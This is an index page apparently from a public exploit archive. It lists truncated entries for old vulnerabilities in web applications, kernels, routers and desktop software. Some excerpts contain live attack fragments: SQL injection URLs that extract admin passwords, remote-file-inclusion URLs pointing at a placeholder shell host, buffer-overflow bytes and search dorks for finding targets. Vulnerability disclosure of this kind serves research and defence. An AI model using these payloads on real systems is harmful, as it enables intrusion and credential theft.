Joomla! Component Catalog 1.0.7 - SQL Injection

Joomla! Component Catalog 1.0.7 - SQL Injection Title: Unauthenticated SQL Injection in Huge-IT Catalog v1.0.7 for Joomla Author: Larry W. Cashdollar, @larry0 Date: 2016-09-16 Download Site: http://huge-it.com/joomla-catalog/ Vendor: huge-it.com Vendor Notified: 2016-09-17 Vendor Contact:...

ZKTeco ZKAccess Professional 3.5.3 - Insecure File Permissions Privilege Escalation

ZKTeco ZKAccess Professional 3.5.3 - Insecure File Permissions Privilege Escalation ZKTeco ZKAccess Professional 3.5.3 Insecure File Permissions Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd Product web page: http://www.zkteco.com Affected version: 3.5.3 Build 00...

Linux Kernel - TCP Related Read Use-After-Free

Linux Kernel - TCP Related Read Use-After-Free // Source: https://marcograss.github.io/security/linux/2016/08/18/cve-2016-6828-linux-kernel-tcp-uaf.html // to build clang derp4.c -o derp4 -static include include include include include include ifndef SYSmmap define SYSmmap 9 endif ifndef SYSsocke...

Joomla! Component Realtyna RPL 8.9.2 - Multiple SQL Injections

Joomla! Component Realtyna RPL 8.9.2 - Multiple SQL Injections Realtyna RPL 8.9.2 Joomla Extension Multiple SQL Injection Vulnerabilities Vendor: Realtyna LLC Product web page: https://www.realtyna.com Affected version: 8.9.2 Summary: Realtyna CRM Client Relationship Management Add-on for RPL is ...

MakeSFX.exe 1.44 - Local Stack Buffer Overflow

MakeSFX.exe 1.44 - Local Stack Buffer Overflow ''' + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/AS-MAKESFX-BUFF-OVERFLOW-09302015.txt Vendor: ================================ freeextractor.sourceforge.net/FreeExtractor...

PHP 5.5.9 - zend_executor_globals CGIMode FPM WriteProcMemFile disable_functions Bypass Load Dynamic Library

PHP 5.5.9 - zendexecutorglobals CGIMode FPM WriteProcMemFile disablefunctions Bypass Load Dynamic Library ?php // EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zendexecutorglobals-to-bypass-php-disablefunctions.pdf errorreporting0x66778899; settimelimit0x41424344;...

WordPress Plugin Job Manager 0.7.22 - Persistent Cross-Site Scripting

WordPress Plugin Job Manager 0.7.22 - Persistent Cross-Site Scripting Job Manager Persistent XSS Details ======================================================================================== Product: Job Manager Plugin For Wordpress Vendor-URL: www.wp-jobmanager.com CVE-ID: CVE-2015-2321 Credi...

Invision Power Board (IP.Board) 2.0.3 - Multiple Vulnerabilities

Invision Power Board IP.Board 2.0.3 - Multiple Vulnerabilities IP.Board Multiple Vulnerabilities Vendor: Invision Power Services Product: IP.Board Version: = 2.0.3 Website: http://www.invisionboard.com/ BID: 13529 13534 CVE: CVE-2005-1597 CVE-2005-1598 OSVDB: 16297 16298 SECUNIA: 15265 PACKETSTOR...

Telescope 0.9.2 - Markdown Persistent Cross-Site Scripting

Telescope 0.9.2 - Markdown Persistent Cross-Site Scripting Exploit Title: Persistent XSS via Markdown on Telescope = 0.9.2 Date: Aug 22 2014 Exploit Author: shubs Vendor Homepage: http://www.telescopeapp.org/ Software Link: https://github.com/TelescopeJS/Telescope Version: = 0.9.2 CVE :...

Virtuosa-Phoenix-Edition-5.2-ASX

Exploit Title: Virtuosa Phoenix Edition 5.2 ASX BOF SEH Overwrite Date found: Aug 16th 2010 Author: Acidgen Software Link: http://download1.virtuosa.com/VirtuosaTrial.exe Version: 5.2 junkA = '\x41' 1021 junkB = '\x42' 8979 nSEH = '\xeb\x06\xff\xff' SEH = '\x7e\xaa\x01\x10' nop = '\x90' 10...

Windows-OLE-Package-Manager

Very quick and ugly SandWorm CVE-2014-4114 exploit builder Exploit Title: CVE-2014-4114 SandWorm builder Vendor Homepage: microsoft.com Tested on: Win7Sp1 64 bit - Microsoft Offcie 2013 Plus Demo: http://youtu.be/ljjEkhflpv import os import zipfile import sys ''' Very quick and ugly SandWorm...

OpenVAS Manager 4.0 - Authentication Bypass

OpenVAS Manager 4.0 - Authentication Bypass !/usr/bin/python Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC Date: 09/07/2014 Exploit Author: EccE Vendor Homepage: http://www.openvas.org/ Software Link: http://wald.intevation.org/frs/?groupid=29 Version: OpenVAS Manager...

Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow

Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow !/usr/bin/env python Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow Date: 27 May 2014 Exploit Author: superkojiman - http://www.techorganic.com Vulnerability discovered by: h07 CVE: CVE-2006-3952 OSVDB: 27646...

NRPE 2.15 - Remote Command Execution

NRPE 2.15 - Remote Command Execution ============================================= - Release date: 17.04.2014 - Discovered by: Dawid Golunski - Severity: High ============================================= I. VULNERABILITY ------------------------- NRPE - Nagios Remote Plugin Executor = 2.15 Remot...

Sagem Fast 3304-V2 - Authentication Bypass (1)

Sagem Fast 3304-V2 - Authentication Bypass 1 Title : Sagem F@st 3304-V2 Authentication Bypass Vendor : http://www.sagemcom.com Severity : High Tested on : Firefox, Google Chrome, Internet Explorer Tested Router : Sagem F@st 3304-V2 3304, 3464, 3504 may also be affected Date : 2014-09-04 Author :...

Daum Game 1.1.0.5 - ActiveX IconCreate Method Remote Stack Buffer Overflow

Daum Game 1.1.0.5 - ActiveX IconCreate Method Remote Stack Buffer Overflow var overwrite =...

Samsung PS50C7700 TV - Denial of Service

Samsung PS50C7700 TV - Denial of Service !/usr/bin/python Exploit Title: Samsung TV Denial of Service DoS Attack Date: 07/21/2013 Exploit Author: Malik Mesellem - @MMEIT - http://www.itsecgames.com CVE Number: CVE-2013-4890 Vendor Homepage: http://www.samsung.com Description: Resets some Samsung...

AV Arcade Free Edition - add_rating.php?id Blind SQL Injection

AV Arcade Free Edition - addrating.php?id Blind SQL Injection Exploit Title: AV Arcade Free Edition Blind SQL Injection Date: 31/08/2012 Author: DaOne @LibyanCA Software Link: http://www.avscripts.net/avarcade/freearcadescript/ Google Dork: intext:Powered by AV Arcade Free Edition" Exploit-DB Not...

Symfony2 - Local File Disclosure

Symfony2 - Local File Disclosure Sense of Security - Security Advisory - SOS-12-002 Release Date. 05-Mar-2012 Last Update. - Vendor Notification Date. 24-Feb-2012 Product. Symfony2 Platform. PHP Affected versions. 2.0.x - 2.0.10 Severity Rating. Medium Impact. Exposure of sensitive information...

Acpid 1:2.0.10-1ubuntu2 (Ubuntu 11.0411.10) - Boundary Crossing Privilege Escalation

Acpid 1:2.0.10-1ubuntu2 Ubuntu 11.0411.10 - Boundary Crossing Privilege Escalation Exploit Title: Acpid Privilege Boundary Crossing Vulnerability Google Dork: Date: 23-11-2011 Author: otr Software Link: https://launchpad.net/ubuntu/+source/acpid Version: 1:2.0.10-1ubuntu2 Tested on: Ubuntu 11.10,...

Apple Safari 5.0.5 - SVG Remote Code Execution (DEP Bypass)

Apple Safari 5.0.5 - SVG Remote Code Execution DEP Bypass Abysssec Public Advisory apple killed one of our 0day no point to keep it private anymore : there is another version of exploit using POPup and thats more reliable but as you know safari block pop up by default so we found a cool way to...

Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - jdeMafletClose.mafService?RENDER_MAFLET Cross-Site Scripting

Oracle JD Edwards EnterpriseOne 8.9x Tools Web Runtime SEC - jdeMafletClose.mafService?RENDERMAFLET Cross-Site Scripting source: https://www.securityfocus.com/bid/47479/info Oracle JD Edwards EnterpriseOne is prone to multiple cross-site scripting vulnerabilities. An attacker may leverage these...

siemens tecnomatix factorylink 8.0.1.1473 - Multiple Vulnerabilities

siemens tecnomatix factorylink 8.0.1.1473 - Multiple Vulnerabilities Sources: http://aluigi.org/adv/factorylink1-adv.txt http://aluigi.org/adv/factorylink2-adv.txt http://aluigi.org/adv/factorylink3-adv.txt http://aluigi.org/adv/factorylink4-adv.txt http://aluigi.org/adv/factorylink5-adv.txt...

EPay Enterprise 4.13 - cid SQL Injection

EPay Enterprise 4.13 - cid SQL Injection / / / \ \ \ \ \ / / \\ \ \ \ \ // /// \ \ / / \ //|\ / \ \ \ \ \ \ / / \ \ / / \ | | | \ | | || | | |/ / \ V / || |\ V / / \ | / \ | /| | | || / | | | | . | ' || / | || // \ // \|||/|||||||||\ .WEB.ID...

Pidgin MSN 2.6.4 - File Download

Pidgin MSN 2.6.4 - File Download !/usr/bin/env python """ Pidgin MSN = 2.6.4 file download vulnerability 19 January 2010 Mathieu GASPARD [email protected] Description: Pidgin is a multi-protocol Instant Messenger. This is an exploit for the vulnerability1 discovered in Pidgin by Fabian Yamaguchi...

Smart Vision Script News - newsdetail.php SQL Injection (1)

Smart Vision Script News - newsdetail.php SQL Injection 1 Exploit Title: Smart Vsion Script News newsdetail SQL Injection Vulnerability Software Link: www.esmart-vision.com ============================================ | Smart Vision Script News newsdetail SQL Injection Vulnerability...

unclassified NewsBoard 1.6.4 - Multiple Vulnerabilities

unclassified NewsBoard 1.6.4 - Multiple Vulnerabilities Author girex Homepage girex.altervista.org Date 31/05/2009 CMS Unclassified NewsBoard 1.6.4 and maybe lower Dork "This board is powered by the Unclassified NewsBoard software, 1.6.4" Multiple remote vulnerabilities 1 Remote SQL Injection...

Qwerty CMS - id SQL Injection

Qwerty CMS - id SQL Injection QWERTY CMS lite - SQL INJ Found: b3 from GraBBerZ.com = Injection in index.php variable: id http://site/index.php?act=publ&id=-3+UNION+SELECT+1,2,3,4,5 = Administrator Table: rkh8t5po Columns: secret873ktlW,pass459khyf Column with pass: pass459khyf Admin CP:...

WebStudio eHotel - Blind SQL Injection

WebStudio eHotel - Blind SQL Injection WebStudio eHotel pageid Blind SQL Injection Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc script : http://www.bdigital.biz/index.php?pageid=216 DorK : "Powered by WebStudio eHotel" Demo :...

ShopMaker CMS 1.0 - id SQL Injection

ShopMaker CMS 1.0 - id SQL Injection || | | ShopMaker v1.0 product.php id Remote SQL Injection Vulnerability | | |-------------------- Hussin X -------------------| | | Author: Hussin X | | Home : WwW.IQ-ty.CoM | | email: darkangelg85atYahooDoTcom | | | | | | script : http://shop.maker.ir | | Dor...

E-Store Kit-1 2 PayPal Edition - pid SQL Injection

E-Store Kit-1 2 PayPal Edition - pid SQL Injection Viva IslaM Viva IslaM Remote SQL Injection Vulnerability E-Store Kit-1 viewdetails.php pid E-Store Kit-2 viewdetails.php pid E-Store Kit-1 Pro PayPal Edition viewdetails.php pid E-Store Kit-2 PayPal Edition viewdetails.php pid www.magicscripts.co...

Solaris 8910 - fifofs I_PEEK Local Kernel Memory Leak

Solaris 8910 - fifofs IPEEK Local Kernel Memory Leak / $Id: raptorpeek.c,v 1.1 2007/10/18 08:09:02 raptor Exp $ raptorpeek.c - Solaris fifofs IPEEK kernel memory leak Copyright c 2007 Marco Ivaldi Lame integer signedness error in FIFO filesystems named pipes on Sun Solaris 8 through 10 allows loc...

Vantage Linguistics AnswerWorks 4 - API ActiveX Control Buffer Overflow

Vantage Linguistics AnswerWorks 4 - API ActiveX Control Buffer Overflow Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow Exploit function Check var buf = 'A'; while buf.length = 214 buf = buf + 'A'; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378...

iziContents rc6 - LocalRemote File Inclusion

iziContents rc6 - LocalRemote File Inclusion o bug /". . . . .-' -...-'/ o o remote file inclusion: http://site/path/modules/search/search.php?languagehome=&rootdp=zZz&gsLanguage=http://shell? http://site/path/modules/poll/inlinepoll.php?languagehome=&rootdp=zZz&gsLanguage=http://shell?...

Weblogicnet - files_dir Multiple Remote File Inclusions

Weblogicnet - filesdir Multiple Remote File Inclusions Nyubicrew Community Weblogicnet filesdir Remote File Inclusion vendor : http://www.weblogicnet.com/ source : http://weblogicnet.com/data/weblogicnet.tgz Bug Found By :homeedition2001 a.k.a bius 31-08-2007 contact: [email protected] Website :...

SmodCMS 2.10 - Slownik ssid SQL Injection

SmodCMS 2.10 - Slownik ssid SQL Injection 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex = '...

Apache 1.3.341.3.33 (Ubuntu Debian) - CGI TTY Privilege Escalation

Apache 1.3.341.3.33 Ubuntu Debian - CGI TTY Privilege Escalation / :: Kristian Hermansen :: Date: 20070229 Description: Local attacker can influence Apache to direct commands into an open tty owned by user who started apache process, usually root. This results in arbitrary command execution...

STWC-Counter 3.4.0 - downloadcounter.php Remote File Inclusion

STWC-Counter 3.4.0 - downloadcounter.php Remote File Inclusion ?php //File Inclusion Exploit for STWC-Counter = 3.4.0.0 //Found and Exploit Coded by burncycle - burncycleatrobert-berandotde //| //Vendor: http://www.stwc-counter.de/ //Dork: www.stwc-counter.de //| //Bug in "downloadcounter.php":...

phpBB++ Build 100 - phpbb_root_path Remote File Inclusion

phpBB++ Build 100 - phpbbrootpath Remote File Inclusion C xoron Name: phpBB++ phpbbrootpath Remote File Include Exploit Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=86688&packageid=90098 xoron.biz - xoron.info Thanx: str0ke, kacper, k1tk4t,...

PHPWind 5.0.1 - AdminUser Blind SQL Injection

PHPWind 5.0.1 - AdminUser Blind SQL Injection...

4Images 1.7.x - search.php SQL Injection

4Images 1.7.x - search.php SQL Injection !/usr/bin/php //search.php?searchuser=x%2527%20union%20select%20userpassword%20from%204imagesusers%20where%20username=%2527ADMIN w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path options table prefix user id\n Options: -d: Determine table...

Linux Kernel 2.6.13 2.6.17.4 - logrotate prctl() Local Privilege Escalation

Linux Kernel 2.6.13 2.6.17.4 - logrotate prctl Local Privilege Escalation / $Id: raptorprctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $ raptorprctl2.c - Linux 2.6.x suiddumpable2 logrotate Copyright c 2006 Marco Ivaldi The suiddumpable support in Linux kernel 2.6.13 up to versions before 2.6.17.4,...

Mambo Component Pearl 1.6 - Multiple Remote File Inclusions

Mambo Component Pearl 1.6 - Multiple Remote File Inclusions --------------------------------------------------------------------------- Pearl For Mambo = 1.6 GlobalSettingstemplatesDirectory Remote File Include Vulnerabilities...

phpBB 2.0.20 - AdminRestore DBdefault_lang Remote Command Execution

phpBB 2.0.20 - AdminRestore DBdefaultlang Remote Command Execution !/usr/bin/php -q -d shortopentag=on you need an admin sid, works regardless of magicquotesgpc settings\r\n"; echo "tested and working against a fresh PhpBB installation\r\n\r\n"; if $argc5 echo "Usage: php ".$argv0." host path sid...

SoftiaCom wMailServer 1.0 - SMTP Remote Buffer Overflow (Metasploit)

SoftiaCom wMailServer 1.0 - SMTP Remote Buffer Overflow Metasploit This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core...

Spid 1.3 - lang_path File Inclusion

Spid 1.3 - langpath File Inclusion source: https://www.securityfocus.com/bid/14208/info SPiD is a gallery management application written in PHP. SPiD is prone to a remote file include vulnerability, due to lack of validation of user input. An attacker may leverage this issue to execute arbitrary...

JamMail 1.8 - Jammail.pl Arbitrary Command Execution

JamMail 1.8 - Jammail.pl Arbitrary Command Execution source: https://www.securityfocus.com/bid/13937/info JamMail is prone to a remote arbitrary command execution vulnerability. This vulnerability may allow an attacker to supply arbitrary commands through the 'jammail.pl' script. This can lead to...

Solaris 789 CDE LibDTHelp - Local Buffer Overflow (2)

Solaris 789 CDE LibDTHelp - Local Buffer Overflow 2 / $Id: raptorlibdthelp2.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorlibdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9 Copyright c 2003-2004 Marco Ivaldi Buffer overflow in CDE libDtHelp library allows local users to execute arbitrary cod...

Ethereal 0.x - Multiple iSNS SMB SNMP Protocol Dissector Vulnerabilities

Ethereal 0.x - Multiple iSNS SMB SNMP Protocol Dissector Vulnerabilities // source: https://www.securityfocus.com/bid/10672/info Ethereal 0.10.5 has been released to address multiple vulnerabilities, including an iSNS protocol dissector vulnerability, a SMB protocol dissector vulnerability, and a...

Microsoft Windows SQL Server - Remote Denial of Service (MS03-031)

Microsoft Windows SQL Server - Remote Denial of Service MS03-031 //////////////////////////////////////////////////////////////// // // Microsoft SQL Server DoS Remote Exploit MS03-031 // By refdom of xfocus // //////////////////////////////////////////////////////////////// include include inclu...